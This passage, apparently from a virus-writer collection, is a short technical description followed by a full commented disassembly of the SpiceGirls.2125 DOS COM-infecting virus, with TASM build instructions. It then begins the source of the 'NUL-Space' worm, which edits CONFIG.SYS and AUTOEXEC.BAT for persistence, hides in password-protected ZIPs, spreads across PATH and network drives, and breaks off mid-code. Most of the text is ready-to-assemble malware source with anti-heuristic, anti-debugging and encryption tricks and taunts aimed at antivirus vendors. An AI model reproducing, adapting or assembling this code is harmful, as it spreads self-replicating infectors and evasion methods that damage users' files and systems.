entry point (start code). The address of entry point in infected files is
out of file body and it is impossible to reach virus code by parsing EXE
header. To realize this method the virus uses several PSP (Program's Segment
Prefix) and EXE header tricks.

The format of virus code is EXE, i.e. the virus as a program is EXE program
with EXE header, relocation table and so on (as a result infected COM files
are of EXE internal format). EXE header fields in virus (initial CS and IP)
are patches so, that entry address points not to file code, but to PSP data
(i.e. out of file). At that address PSP contains RET FAR code that follows
the call to INT 21h handler. So, the virus entry address points to RET FAR
code, and control then will be passed to code that is pointed by stack. To
pass the control to its real entry code the virus has initial stack
registers (SS and SP) in its EXE header and stack data that points to real
entry:

ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ PSP Control flow


0000 ³CD 20 ³
.... ³ ³ ³
0050 ³CD 21 ³ ³
0052 ³CB / RET FAR³ Entry address, DOS will <ÄÄÄÄÄ-
.... ³ ³ bring control to here ÄÄÄÄÄ¿
³
0100 ÉÍÍÍÍÍÍÍÍÍÍÍÍ» Virus code (file image) ³
º º ³
ÇÄÄÄÄÄÄÄÄÄÄÄĶ ³
ºStack º Stack data points to ÄÄÄÄ>³
º º real entry ³
ÇÄÄÄÄÄÄÄÄÄÄÄĶ ³
º º Real virus entry code <ÄÄÄÄÄ-
º . . . º

The virus contain the text strings:

What? 'Error: invalid program'? Me? Fprot, are you crazy? :)


And you, Avp, 'EXE file but COM extension'. What a deep scan. ;)
Spice_Girls virus causes problems to your scan engine eh? :)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SPIC2125.ASM]ÄÄ
comment *
SpiceGirls.2125
Disassembled by
Darkman/29A

SpiceGirls.2125 is a 2125 bytes parasitic resident COM virus. Infects fi-


les at open file, close file, get or set file attributes, load and/or exe-
cute program and rename file by prepending an EXE header and the virus to
the infected file. SpiceGirls.2125 has an error handler, anti-heuristic
techniques, anti-debugging techniques, disinfection on fly and is oligo-
morphic in file using its internal oligomorphic engine.

To compile SpiceGirls.2125 with Turbo Assembler v 4.0 type:


TASM /m SPIC2125.ASM
TLINK /t /x SPIC2125.OBJ
*

.model tiny
.code
org 100h ; Origin of SpiceGirls.2125

head_begin:
pages_begin:
db 'MZ' ; EXE signature
bytes_on_las dw (pages_end-pages_begin) mod 200h
pages_in_fil dw (pages_end-pages_begin)/200h
dw (relo_end-relo_begin)/04h
dw (head_end-head_begin)/10h
dw 00h,01h ; Minimum-, maximum number of para...
dw 0ffeah,stack_ptr ; Pointer to stack
db 'SG' ; Checksum
dd 0ffea00b2h ; Pointer to service request + 02h
dw relocations-100h ; Offset of relocations - 100h
dw 00h ; Overlay number (main program)
relo_begin:
relocations dd 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h
dd 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h
dd 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h
relo_end:
db 08h dup(00h)
head_end:
code_begin:
db ' - Spice_Girls.2125 - '
stack_ptr:
dd 07h dup(0ffea00b2h) ; Seven pointers to service reques...

dw virus_begin ; Offset of virus_begin


dw 0ffeah ; Segment of virus_begin
dw crypt_begin ; Offset of crypt_begin
crypt_size dw (crypt_end-crypt_begin)/02h
crypt_key dw 00h ; 16-bit encryption/decryption key
virus_begin:
pop_reg16 equ byte ptr $ ; POP reg16
pop di cx ax ; Load registers from stack
decrypt_loop:
decrypt_algo equ byte ptr $+01h ; Decryption algorithme
index_reg equ byte ptr $+02h ; 16-bit index register
add cs:[di],ax ; Decrypt two bytes
index_reg_ equ byte ptr $+01h ; 16-bit index register
add_idx_imm8 equ byte ptr $+02h ; 8-bit immediate
add di,02h ; DI = offset of next encrypted byte

loop decrypt_loop

nop
crypt_begin:
mov cs:[psp_segment],ds ; Store segment of PSP for current...

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

nop
nop
nop
call find_name
virus_exit:
mov ax,(3000h+'S') ; SpiceGirls.2125 function
nop
db 9ah ; CALL imm32 (opcode 9ah)
dd 0ffea00b0h ; Pointer to service request

call install
eternal_loop:
jc eternal_loop ; Error? Jump to eternal_loop

jmp virus_exit

find_name proc near ; Find filename


push ds ; Save DS at stack
mov ds,[psp_segment] ; DS = segment of PSP for current ...
mov ds,ds:[2ch] ; DS = segment of environment for ...
xor si,si ; Zero SI
find_zero:
lodsb ; AL = byte of environment block
cmp al,00h ; Last environment variable?
jne find_zero ; Not equal? Jump to find_zero
lodsb ; AL = byte of environment block
cmp al,00h ; Last environment variable?
jne find_zero ; Not equal? Jump to find_zero

add si,02h ; SI = offset of filename


find_zero_:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
jne find_zero_ ; Not equal? Jump to find_zero_

sub si,02h ; SI = offset of last character by...

mov byte ptr [si],0ffh ; Store last byte of file extension

pop ds ; Load DS from stack

ret ; Return!
endp

install proc near ; Allocate memory, move virus to t...


mov ah,(48h xor 'S') ; Allocate memory
xor ah,'S'
mov bx,0ffffh ; BX = number of paragraphs to all...
nop
db 9ah ; CALL imm32 (opcode 9ah)
dd 0ffea00b0h ; Pointer to service request

mov ah,(48h xor 'S') ; Allocate memory


xor ah,'S'
sub bx,(memory_end-head_begin+0fh)/10h+01h
db 9ah ; CALL imm32 (opcode 9ah)
dd 0ffea00b0h ; Pointer to service request
jc install_exit ; Error? Jump to install_exit
mov bp,ax ; BP = segment of allocated block

mov ah,(48h xor 'S') ; Allocate memory


xor ah,'S'
mov bx,(memory_end-head_begin+0fh)/10h
nop
db 9ah ; CALL imm32 (opcode 9ah)
dd 0ffea00b0h ; Pointer to service request
jc install_exit ; Error? Jump to install_exit

xchg ax,bp ; AX = segment of allocated block


push es ; Save ES at stack
mov es,ax ; ES = segment of allocated block
mov ah,(49h xor 'S') ; Free memory
xor ah,'S'
db 9ah ; CALL imm32 (opcode 9ah)
dd 0ffea00b0h ; Pointer to service request

sub bp,10h ; Subtract ten from segment of all...


mov es,bp ; ES = segment of allocated block
mov word ptr es:[0f1h],08h

lea si,exe_header ; SI = offset of exe_header


mov di,100h ; DI = offset of beginning of code
mov cx,(header_end-header_begin)
move_header:
lodsb ; AL = byte of exe_header
stosb ; Store byte of exe_header

loop move_header

lea si,virus_begin ; SI = offset of virus_begin


mov cx,(code_end-virus_begin)
move_virus:
lodsb ; AL = byte of virus
stosb ; Store byte of virus

loop move_virus

call correct_relo

push ds ; Save DS at stack

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

mov ax,(3521h xor 'SG') ; Get interrupt vector 21h


xor ax,'SG'
db 9ah ; CALL imm32 (opcode 9ah)
dd 0ffea00b0h ; Pointer to service request
mov word ptr [int21_addr],bx
mov word ptr [int21_addr+02h],es

mov ah,(25h xor 'S') ; Set interrupt vector 21h


xor ah,'S'
lea dx,int21_virus ; DX = offset of int21_virus
nop
db 9ah ; CALL imm32 (opcode 9ah)
dd 0ffea00b0h ; Pointer to service request

pop ds es ; Load segments from stack

clc ; Clear carry flag


install_exit:
ret ; Return!
endp

correct_relo proc near ; Correct relocation entries


lea si,relocations ; SI = offset of relocations
mov cx,0fh ; CX = number of relocation entries
correct_loop:
mov di,es:[si] ; DI = offset of relocation
add si,04h ; SI = offset of next relocation e...
mov es:[di],0ffeah ; Store high-order word of relocat...

loop correct_loop

ret ; Return!
endp

int21_virus proc near ; Interrupt 21h of SpiceGirls.2125


xor ah,'S'

cmp ax,(3000h xor 5300h+'S')


je jmp_spice_fu ; Equal? Jump to jmp_spice_fu
cmp ah,(3dh xor 'S') ; Open file?
je jmp_exam_fil ; Equal? Jump to jmp_exam_fil
cmp ah,(3eh xor 'S') ; Close file?
je jmp_pre_test ; Equal? Jump to jmp_pre_test
cmp ah,(43h xor 'S') ; Get or set file attributes
je jmp_exam_fil ; Equal? Jump to jmp_exam_fil
cmp ah,(4bh xor 'S') ; Load and/or execute program?
je jmp_exam_fil ; Equal? Jump to jmp_exam_fil
cmp ah,(56h xor 'S') ; Rename file
je jmp_exam_fil ; Equal? Jump to jmp_exam_fil
int21_exit:
xor ah,'S'

jmp cs:[int21_addr]
endp
jmp_spice_fu:
jmp spice_functi

nop
jmp_exam_fil:
jmp examine_file
jmp_pre_test:
jmp pre_tst_func
spice_functi:
add sp,04h ; Correct stack pointer
popf ; Load flags from stack

mov [file_handle_],'SG'

mov ax,[origin_off] ; AX = offset of original code


mov cs:[origin_off],ax ; Store offset of original code

mov ax,ds:[psp_segment] ; AX = segment of PSP for current ...


mov cs:[psp_segment],ax ; Store segment of PSP for current...

mov ds,cs:[psp_segment] ; DS = segment of PSP for current ...


mov es,cs:[psp_segment] ; ES = segment of PSP for current ...

mov ah,(4ah xor 'S') ; Resize memory block


xor ah,'S'
mov bx,0ffffh ; BX = new size in paragraphs
call int21_simula

mov ah,(4ah xor 'S') ; Resize memory block


xor ah,'S'
sub bx,04h ; BX = new size in paragraphs
call int21_simula
cli ; Clear interrupt-enable flag
mov ss,cs:[psp_segment] ; SS = segment of PSP for current ...
mov sp,0fffah ; SP = stack pointer
sti ; Set interrupt-enable flag

mov word ptr ds:[0fffeh],00h


mov ds:[0fffch],ds ; Store segment of PSP for current...
mov ds:[0fffah],100h ; Store instruction pointer

std ; Set direction flag


mov si,cs:[origin_off] ; SI = offset of original code
add si,100h ; Add offset of beginning of code
add si,(code_end-code_begin)

mov di,cs:[origin_off] ; DI = offset of original code


add di,100h ; Add offset of beginning of code
add di,(code_end-head_begin)

dec si ; Decrease SI
dec di ; Decrease DI
mov cx,cs:[origin_off] ; CX = offset of original code
move_origin:
lodsb ; AL = byte of original code
stosb ; Store byte of original code

loop move_origin

cld ; Clear direction flag


mov si,cs:[origin_off] ; SI = offset of original code
add si,100h ; Add offset of beginning of code
mov di,100h ; DI = offset of beginning of code
mov cx,(code_end-head_begin)
move_origin_:
lodsb ; AL = byte of original code
stosb ; Store byte of original code

loop move_origin_

xor ax,ax ; Zero AX


xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor bx,bx ; Zero BX
xor bp,bp ; Zero BP
xor si,si ; Zero SI
xor di,di ; Zero DI

retf ; Return far!


examine_file:
mov cs:[dos_function],ah
mov word ptr cs:[name_pointer],dx
mov word ptr cs:[name_pointer+02h],ds

pushf ; Save flags at stack


push ax cx dx bx bp si di es ds

sti ; Set interrupt-enable flag


cld ; Clear direction flag

call int24_store

mov si,word ptr cs:[name_pointer]


mov ds,word ptr cs:[name_pointer+02h]
call examine_name
jc infect_exit ; Error? Jump to infect_exit

mov dx,word ptr cs:[name_pointer]


mov ds,word ptr cs:[name_pointer+02h]

call test_exe_sig
jc infect_exit ; Error? Jump to infect_exit

mov dx,word ptr cs:[name_pointer]


mov ds,word ptr cs:[name_pointer+02h]

call tst_filesize
jc infect_exit ; Error? Jump to infect_exit

mov dx,word ptr cs:[name_pointer]


mov ds,word ptr cs:[name_pointer+02h]

call infect_file
infect_exit:
mov si,word ptr cs:[name_pointer]
mov ds,word ptr cs:[name_pointer+02h]

call test_infect
jc examin_exit ; Error? Jump to examin_exit

mov ah,cs:[dos_function]

mov si,word ptr cs:[name_pointer]


mov ds,word ptr cs:[name_pointer+02h]

call test_functio
examin_exit:
call int24_load

pop ds es di si bp bx dx cx ax
popf ; Load flags from stack

jmp int21_exit

int24_store proc near ; Get and set interrupt vector 24h


xor ax,ax ; Zero AX
mov ds,ax ; DS = segment of interrupt table
mov ax,ds:[24h*04h] ; AX = offset of interrupt 24h
mov word ptr cs:[int24_addr],ax
mov ax,ds:[24h*04h+02h] ; AX = segment of interrupt 24h
mov word ptr cs:[int24_addr+02h],ax
mov word ptr ds:[24h*04h],offset int24_virus
mov ds:[24h*04h+02h],cs ; Set interrupt segment 24h

ret ; Return!
endp

examine_name proc near ; Examine filename


lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
jne examine_name ; Not equal? Jump to examine_name

sub si,07h ; SI = offset of last two bytes of...


lodsw ; AX = two bytes of filename
and ax,0101111101011111b
cmp ax,'DN' ; COMMAND.COM?
je examin_exit_ ; Equal? Jump to examin_exit_
lodsb ; AL = dot after filename
cmp al,'.' ; Dot after filename?
jne examin_exit_ ; Not equal? Jump to examin_exit_

lodsw ; AX = two bytes of file extension


and ax,0101111101011111b
xor ax,'SG'
cmp ax,('OC' xor 'SG') ; COM executable?
jne examin_exit_ ; Not equal? Jump to examin_exit_

lodsb ; AL = byte of file extension


and al,01011111b ; Upcase character
xor al,'S'
cmp al,('M' xor 'S') ; COM executable?
jne examin_exit_ ; Not equal? Jump to examin_exit_

clc ; Clear carry flag

ret ; Return!
examin_exit_:
stc ; Set carry flag

ret ; Return!
endp

test_exe_sig proc near ; Test EXE signature


mov ax,(3d00h xor 'SG') ; Open file (read)
xor ax,'SG'
call int21_simula
jc tst_sig_exit ; Error? Jump to tst_sig_exit
xchg ax,bx ; BX = file handle

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov ah,(3fh xor 'S') ; Read from file


xor ah,'S'
lea dx,exe_head_sig ; DX = offset of exe_head_sig
mov cx,02h ; Read two bytes
call int21_simula

mov ah,(3eh xor 'S') ; Close file


xor ah,'S'
call int21_simula

mov ax,('ZM' xor 'SG') ; AX = EXE signature


xor ax,'SG'
cmp [exe_head_sig],ax ; Found EXE signature?
je tst_sig_exit ; Equal? Jump to tst_sig_exit

mov ax,('MZ' xor 'SG') ; AX = EXE signature


xor ax,'SG'
cmp [exe_head_sig],ax ; Found EXE signature?
je tst_sig_exit ; Equal? Jump to tst_sig_exit

clc ; Clear carry flag

ret ; Return!
tst_sig_exit:
stc ; Set carry flag

ret ; Return!
endp

tst_filesize proc near ; Test filesize


mov ax,(3d00h xor 'SG') ; Open file (read)
xor ax,'SG'
call int21_simula
xchg ax,bx ; BX = file handle

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov ax,(4202h xor 'SG') ; Set current file position (EOF)


xor ax,'SG'
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
call int21_simula

push ax dx ; Save registers at stack


mov ah,(3eh xor 'S') ; Close file
xor ah,'S'
call int21_simula
pop dx ax ; Load registers from stack

cmp ax,(code_end-head_begin)
jb tst_siz_exit ; Filesize too small? Jump to tst_...
cmp dx,00h ; Filesize too large?
ja tst_siz_exit ; Above? Jump to tst_siz_exit
cmp ax,0ea60h ; Filesize too large?
ja tst_siz_exit ; Above? Jump to tst_siz_exit

mov [origin_off],ax ; Store offset of original code

xor dx,dx ; Zero DX


mov cx,200h
div cx ; Divide by pages
cmp dx,00h ; Bait file?
je tst_siz_exit ; Equal? Jump to tst_siz_exit

mov ax,[origin_off] ; Store offset of original code

xor dx,dx ; Zero DX


mov cx,3e8h
div cx ; Divide by thousands
cmp dx,00h ; Bait file?
je tst_siz_exit ; Equal? Jump to tst_siz_exit

clc ; Clear carry flag

ret ; Return!
tst_siz_exit:
stc ; Set carry flag

ret ; Return!
endp

int21_simula proc near ; Simulate interrupt 21h


pushf ; Save flags at stack

call cs:[int21_addr]

ret ; Return!
endp
infect_file proc near ; Infect COM file
mov ax,(4300h xor 'SG') ; Get file attributes
xor ax,'SG'
call int21_simula
mov cs:[file_attr],cx ; Store file attributes

mov ax,(4301h xor 'SG') ; Set file attributes


xor ax,'SG'
xor cx,cx ; CX = new file attributes
call int21_simula

mov ax,(3d02h xor 'SG') ; Open file (read/write)


xor ax,'SG'
call int21_simula
jnc load_info ; No error? Jump to load_info

jmp infect_exit_
load_info:
xchg ax,bx ; BX = file handle

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov ax,(5700h xor 'SG') ; Set file's date and time


xor ax,'SG'
call int21_simula
mov [file_time],cx ; Store file time
mov [file_date],dx ; Store file date

push ds ; Save DS at stack


mov ax,0bf00h ; AX = segment of text video RAM
mov ds,ax ; DS = " " " " "

mov ah,(3fh xor 'S') ; Read from file


xor ah,'S'
xor dx,dx ; Zero DX
mov cx,(code_end-head_begin)
call int21_simula

push ax ; Save AX at stack


mov ax,(4202h xor 'SG') ; Set current file position (EOF)
xor ax,'SG'
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
call int21_simula
pop cx ; Load CX from stack (AX)

mov ah,(40h xor 'S') ; Write to file


xor ah,'S'
xor dx,dx ; Zero DX
call int21_simula
pop ds ; Load DS from stack

mov ax,(4200h xor 'SG') ; Set current file position (SOF)


xor ax,'SG'
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
call int21_simula

mov ax,[origin_off] ; Store offset of original code


add ax,(code_end-head_begin)
xor dx,dx ; Zero DX
mov cx,200h
div cx ; Divide by pages
inc ax ; Increase AX
mov [pages_in_fil],ax ; Store total number of 512-bytes ...
mov [bytes_on_las],dx ; Store number of bytes on last 51...

push ds ; Save DS at stack


mov ax,0bf00h ; AX = segment of text video RAM
mov ds,ax ; DS = " " " " "

call spice_oligo

mov ah,(40h xor 'S') ; Write to file


xor ah,'S'
mov cx,(code_end-head_begin)
xor dx,dx ; Zero DX
call int21_simula
pop ds ; Load DS from stack

mov ax,(5701h xor 'SG') ; Set file's date and time


xor ax,'SG'
mov cx,[file_time] ; CX = file time
mov dx,[file_date] ; DX = file date
call int21_simula

mov ah,(3eh xor 'S') ; Close file


xor ah,'S'
call int21_simula
infect_exit_:
mov ax,(4301h xor 'SG') ; Set file attributes
xor ax,'SG'
mov ds,word ptr [name_pointer+02h]
mov cx,cs:[file_attr] ; CX = file attributes
mov dx,word ptr cs:[name_pointer]
call int21_simula

ret ; Return!
endp

spice_oligo proc near ; SpiceGirls.2125 oligomorphic engine


push ds ; Save DS at stack

push ds ; Save DS at stack


pop es ; Load ES from stack (DS)

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

in al,40h ; AL = 8-bit random number


mov byte ptr [crypt_key],al
xor al,'S'
mov byte ptr [crypt_key+01h],al

mov ah,al ; AH = 8-bit random number


and ah,00000001b ; AH = 16-bit index register
mov [index_reg__],ah ; Store 16-bit index register

ror al,01h ; AL = 8-bit random number


mov ah,al ; AH = encryption/decryption algor...
and ah,00000001b ; AH = " "
mov [crypt_algo],ah ; Store encryption/decryption algo...

mov al,5eh ; POP SI (opcode 5eh)


or al,[index_reg__] ; POP reg16
mov [pop_reg16],al ; Store POP reg16

mov al,[crypt_algo] ; AL = encryption/decryption algor...


mov ah,00h ; Zero AH
add ax,offset algo_table
mov si,ax ; SI = offset of decryption algori...
mov al,[si] ; AL = decryption algorithme
mov [decrypt_algo],al ; Store decryption algorithme

mov al,04h ; AL = 16-bit index register


or al,[index_reg__] ; AL = " " "
mov [index_reg],al ; Store 16-bit index register

mov al,0c6h ; AL = 16-bit index register


or al,[index_reg__] ; AL = " " "
mov [index_reg_],al ; Store 16-bit index register
mov [add_idx_imm8],02h ; Store 8-bit immediate

mov al,[crypt_algo] ; AL = encryption/decryption algor...


xor al,00000001b ; Invert first bit of AL
mov ah,00h ; Zero AH
add ax,offset algo_table
mov si,ax ; SI = offset of encryption algori...
mov al,[si] ; AL = encryption algorithme
mov [encrypt_algo],al ; Store encryption algorithme

mov si,100h ; SI = offset of beginning of code


xor di,di ; Zero DI
mov cx,(code_end-head_begin)
move_virus_:
lodsb ; AL = byte of virus
stosb ; Store byte of virus

loop move_virus_

lea si,crypt_begin-100h ; SI = offset of crypt_begin


mov cx,[crypt_size] ; CX = number of bytes to encrypt
mov ax,[crypt_key] ; AX = encryption/decryption key

jmp encrypt_loop
encrypt_loop:
encrypt_algo equ byte ptr $+01h ; Encryption algorithme
sub es:[si],ax ; Encrypt two bytes

add si,02h ; SI = offset of next encrypted byte

loop encrypt_loop

pop ds ; Load DS from stack

ret ; Return!
endp

index_reg__ db ? ; 16-bit index register


crypt_algo db ? ; Encryption/decryption algortihme
algo_table db 01h ; ADD segment:[index],AX
db 29h ; SUB segment:[index],AX

test_infect proc near ; Test for previously infection


lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
jne test_infect ; Not equal? Jump to test_infect
sub si,04h ; SI = offset of file extension
lodsw ; AX = two bytes of file extension
and ax,0101111101011111b
xor ax,'SG'
cmp ax,('OC' xor 'SG') ; COM executable?
jne tst_inf_exit ; Not equal? Jump to tst_inf_exit

lodsb ; AL = byte of file extension


cmp al,0ffh ; Allready infected?
jne tst_inf_exit ; Not equal? Jump to tst_inf_exit

clc ; Clear carry flag

ret ; Return!
tst_inf_exit:
stc ; Set carry flag

ret ; Return!
endp

test_functio proc near ; Test DOS function number


cmp ah,(3dh xor 'S') ; Open file?
je jmp_create ; Equal? Jump to jmp_create
cmp ah,(3eh xor 'S') ; Close file?
je jmp_delete ; Equal? Jump to jmp_delete

ret ; Return!
endp
jmp_create:
jmp create_clean

nop
jmp_delete:
jmp delete_clean
create_clean:
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

mov si,dx ; SI = offset of filename


lea di,filename ; DI = offset of filename
mov cx,40h ; Move sixty-four bytes of the fil...
move_name:
lodsb ; AL = byte of filename
stosb ; Store byte of filename

loop move_name

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov ah,(3ch xor 'S') ; Create file


xor ah,'S'
xor cx,cx ; CX = file attributes
lea dx,filename ; DX = offset of filename
call int21_simula
jnc store_handle ; No error? Jump to store_handle

jmp clean_exit
store_handle:
mov bp,ax ; BP = file handle
mov [file_handle_],ax ; Store file handle
lea si,filename ; SI = offset of filename
find_zero__:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
jne find_zero__ ; Not equal? Jump to find_zero__

sub si,02h ; SI = offset of last character by...

mov byte ptr [si],'M' ; Store last byte of file extension

mov ax,(3d00h xor 'SG') ; Open file (read)


xor ax,'SG'
lea dx,filename ; DX = offset of filename
call int21_simula
jnc store_extens ; No error? Jump to store_extens

jmp clean_exit
store_extens:
mov bx,ax ; BX = file handle
mov byte ptr [si],0ffh ; Store last byte of file extension

mov ax,0bf00h ; AX = segment of text video RAM


mov ds,ax ; DS = " " " " "

mov ax,(4202h xor 'SG') ; Set current file position (EOF)


xor ax,'SG'
mov cx,-01h ; CX = end of file
mov dx,-(code_end-head_begin)
call int21_simula

mov si,ax ; SI = original filesize


sub si,(code_end-head_begin)

mov ah,(3fh xor 'S') ; Read from file


xor ah,'S'
mov cx,(code_end-head_begin)
xor dx,dx ; Zero DX
call int21_simula
xchg bx,bp ; BX = file handle

mov ah,(40h xor 'S') ; Write to file


xor ah,'S'
mov cx,(code_end-head_begin)
xor dx,dx ; Zero DX
call int21_simula
xchg bx,bp ; BX = file handle

mov ax,(4200h xor 'SG') ; Set current file position (SOF)


xor ax,'SG'
xor cx,cx ; Zero CX
mov dx,(code_end-head_begin)
call int21_simula
tst_file_pos:
mov cx,1000h ; CX = number of bytes to read
cmp si,cx ; Read less than four thousand and...
jae read_file ; Above or equal? Jump to read_file

mov cx,si ; CX = number of bytes to read


read_file:
mov di,cx ; DI = number of bytes to read

mov ah,(3fh xor 'S') ; Read from file


xor ah,'S'
xor dx,dx ; Zero DX
call int21_simula
mov cx,ax ; CX = number of bytes actually read
xchg bx,bp ; BX = file handle

mov ah,(40h xor 'S') ; Write to file


xor ah,'S'
xor dx,dx ; Zero DX
call int21_simula
xchg bx,bp ; BX = file handle

sub si,di ; SI = bytes left to read


cmp si,00h ; Read all of the file?
jne tst_file_pos ; Not equal? Jump to tst_file_pos

mov ah,(3eh xor 'S') ; Close file


xor ah,'S'
call int21_simula
xchg bx,bp ; BX = file handle

mov ah,(3eh xor 'S') ; Close file


xor ah,'S'
call int21_simula

ret ; Return!
clean_exit:
mov [file_handle_],'SG'

ret ; Return!
delete_clean:
cmp cs:[file_handle_],bx
jne dont_delete ; Don't delete disinfected file

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov ah,(41h xor 'S') ; Delete file


xor ah,'S'
lea dx,filename ; DX = offset of filename
call int21_simula

mov [file_handle_],'SG'
dont_delete:
ret ; Return!

int24_load proc near ; Set interrupt vector 24h


xor ax,ax ; Zero AX
mov ds,ax ; DS = segment of interrupt table
mov ax,word ptr cs:[int24_addr]
mov ds:[24h*04h],ax ; Store segment of interrupt 24h
mov ax,word ptr cs:[int24_addr+02h]
mov ds:[24h*04h+02h],ax ; Store segment of interrupt 24h

ret ; Return!
endp
pre_tst_func:
mov cs:[dos_function],ah
mov cs:[file_handle],bx ; Store file handle

pushf ; Save flags at stack


push ax cx dx bx bp si di es ds

sti ; Set interrupt-enable flag


cld ; Clear direction flag
call int24_store

mov ah,cs:[dos_function]
mov bx,cs:[file_handle] ; BX = file handle
call test_functio

call int24_load

pop ds es di si bp bx dx cx ax
popf ; Load flags from stack

jmp int21_exit

int24_virus proc near ; Interrupt 24h of SpiceGirls.2125


mov al,03h ; Fail system call in progress

iret ; Interrupt return!


endp

db 0dh,0ah,'What? ''Error: invalid program''? Me? Fprot, are you crazy? :)'
db 0dh,0ah,'And you, Avp, ''EXE file but COM extension''. What a deep scan. ;)'
db 0dh,0ah,'Spice_Girls virus causes problems to your scan engine eh? :)'
db 0dh,0ah,'$'
header_begin:
exe_header db 'MZ' ; EXE signature
dw (pages_end-pages_begin) mod 200h
dw (pages_end-pages_begin)/200h
dw (relo_end-relo_begin)/04h
dw (head_end-head_begin)/10h
dw 00h,01h ; Minimum-, maximum number of para...
dw 0ffeah,stack_ptr ; Pointer to stack
db 'SG' ; Checksum
dd 0ffea00b2h ; Pointer to service request + 02h
dw relocations-100h ; Offset of relocations - 100h
dw 00h ; Overlay number (main program)
dd 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h
dd 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h
dd 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h
db 08h dup(00h)
db ' - Spice_Girls.2125 - '
dd 07h dup(0ffea00b2h) ; Seven pointers to service reques...
dw virus_begin ; Offset of virus_begin
dw 0ffeah ; Segment of virus_begin
dw crypt_begin ; Offset of crypt_begin
dw (crypt_end-crypt_begin)/02h
dw 00h ; 16-bit encryption/decryption key
header_end:
psp_segment dw ? ; Segment of PSP for current proce...
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
dos_function db ? ; DOS function number
name_pointer dd ? ; Pointer to filename
file_handle dw ? ; File handle
exe_head_sig dw ? ; EXE header signature
file_attr dw ? ; File attributes
file_time dw ? ; File time
file_date dw ? ; File date
origin_off dw terminate-100h ; Offset of original code
file_handle_ dw ? ; File handle
filename db 40h dup(?) ; Filename
crypt_end:
db 00h
code_end:
memory_end:
terminate:
mov ax,4c00h ; Terminate with return code
int 21h

db 241h dup(90h)
pages_end:

end head_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SPIC2125.ASM]ÄÄ
comment *

; Designed by "Q" the Misanthrope

; This virii/worm hides is NUL-Space and Cypher Text (See my "Playing Hide and
; Seek" article) Once active this virus can not be detected by normal means.
; It hides in a file that has the same name as a NUL device driver. It also
; hides in a ZIP file that is password protected so AV programs won't detect it.
; It has an unusual payload: it creates those stupid EICAR test files all over
; the PC. It is network aware and only spreads by network drives. It works
; with Windows 95.

; tasm nulspace /m2


; tlink nulspace /t
; copy nulspace.com c:\winstart.bat

.286

qseg segment byte public 'CODE'


assume cs:qseg,es:qseg,ss:nothing,ds:qseg
org 00feh
counter label word
org 0100h

start:

com_install proc near ;batch file starting


db "::" ;as a com file it jumps past
js jmp_next_part ;the batch code
jns jmp_next_part
db 0dh,0ah
db "@CTTY NUL",0dh,0ah ;output off and change config
db "ECHO INSTALLHIGH=C:\WINSTART.BAT>>C:\CONFIG.SYS",0dh,0ah
db "IF %Q%==Q GOTO " ;used for reinfection
js $(go_mem_res-jmp_next_part3)
jns $(go_mem_res-jmp_next_part3-02h)
db 0dh,0ah
db ":"
jmp_next_part: jo jmp_next_part1 ;more stupid jumps
jno jmp_next_part1
db 0dh,0ah
db "PKZIP -3 -- -+ -~ -S" ;compress ourselves
password1 db "XXX C:\" ;use password
random_file1 db "QUE." ;random file name
random_ext1 db "CAB C:\WINSTART.BAT",0dh,0ah
db "ECHO @ECHO OFF>>C:\AUTOEXEC.BAT",0dh,0ah
db ":" ;prepare autoexec for reinfect
jmp_next_part1: ja jmp_next_part2 ;more jumps
jb jmp_next_part2
db 0dh,0ah
db "ECHO CTTY NUL>>C:\AUTOEXEC.BAT",0dh,0ah
db "ECHO PKUNZIP -) -3 -O -S"
password2 db "XXX C:\" ;reinfect again
random_file2 db "QUE."
random_ext2 db "CAB>>C:\AUTOEXEC.BAT",0dh,0ah
db ":"
jmp_next_part2: jpe jmp_next_part3 ;more jumps
jpo jmp_next_part3
db 0dh,0ah ;set q=q for jmp in winstart
db "ECHO SET Q=Q>>C:\AUTOEXEC.BAT",0dh,0ah
db "ECHO CTTY CON>>C:\AUTOEXEC.BAT",0dh,0ah
db ":"
jmp_next_part3: js go_mem_res ;more jumps
jns go_mem_res
db 0dh,0ah ;spread it around
db "FOR %%Q IN (%PATH% C:\) DO %COMSPEC% /F/CCOPY/B %0+%0.BAT %%Q",0dh,
0ah
db "CTTY CON" ;output on
db 1ah ;ctrl-z
com_install endp

go_mem_res proc near ;clear environment space


mov es,word ptr ds:[2ch]
mov ah,49h
int 21h ;create NUL-Space devices
mov di,offset scandisk_device
mov cx,0003h ;3 of them, first is scandskw
next_device: mov ah,52h ;get list of lists
int 21h
cld
lds si,dword ptr es:[bx+22h];get NUL device chain
push cs
